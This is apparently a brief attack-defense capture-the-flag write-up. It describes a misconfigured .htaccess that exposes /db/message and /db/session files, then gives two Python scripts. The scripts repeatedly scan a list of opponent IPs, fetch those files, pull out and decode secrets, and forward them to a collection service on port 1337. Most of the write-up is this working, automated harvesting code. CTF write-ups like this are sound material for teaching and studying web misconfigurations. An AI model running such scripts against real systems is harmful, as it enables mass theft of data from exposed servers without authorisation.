Begin

The use of .htacces was not correctly configured and so one was able to access the files /db/message , /db/session and /db/? ,/db/message has a flag which is base64 encoded and can be easily decoded

#!/usr/bin/env python
# -*- coding: latin-1 -*-
import base64
import socket
import time
import urllib

from thread import start_new_thread


def johannessub(flag):
    hostname = "192.168.*.*"
    port = 1337
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((hostname, port))
    s.sendall(flag + "\n")
    s.shutdown(socket.SHUT_WR)
    s.close()


def extraktflag(ip):
    submittedflags = []
    try:
        fweb = urllib.urlopen("http://" + ip[:-1] + "/db/message").read()
    except:
        return

    for i in fweb.split("\n"):
        index_begin = i.find("!!44!")
        if index_begin != -1:
            index_begin += len("!!44!")

            flag = i[index_begin : index_begin + 44]
            flag = base64.b64decode(flag)

            breaker = False
            for j in submittedflags:
                if j == flag:
                    breaker = True
                    break
            if breaker:
                continue
            johannessub(flag)


while True:
    f = open("group_ips.txt", "r")
    while True:
        line = f.readline()
        if line == "\n":
            continue
        if not line:
            break
        start_new_thread(extraktflag, (line,))

    time.sleep(60)

and submitted to the local flag submit service. Nearly the same can be done for the sessions with the following script >>

#!/usr/bin/env python
# -*- coding: latin-1 -*-
import socket
import time
import urllib

from thread import start_new_thread


def johannessub(flag):
    hostname = "192.168.*.*"
    port = 1337
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((hostname, port))
    s.sendall(flag + "\n")
    s.shutdown(socket.SHUT_WR)
    s.close()


def extraktflag(ip):
    submittedflags = []
    try:
        fweb = urllib.urlopen("http://" + ip[:-1] + "/db/session").read()
    except:
        return

    for i in fweb.split("\n"):
        if i[29:31] == "32":
            flag = i[32:64]
            breaker = False
            for j in submittedflags:
                if j == flag:
                    breaker = True
                    break
            if breaker:
                continue
            johannessub(flag)


while True:
    f = open("group_ips.txt", "r")
    while True:
        line = f.readline()
        if line == "\n":
            continue
        if not line:
            break
        start_new_thread(extraktflag, (line,))

    time.sleep(60)

Final Score: 1086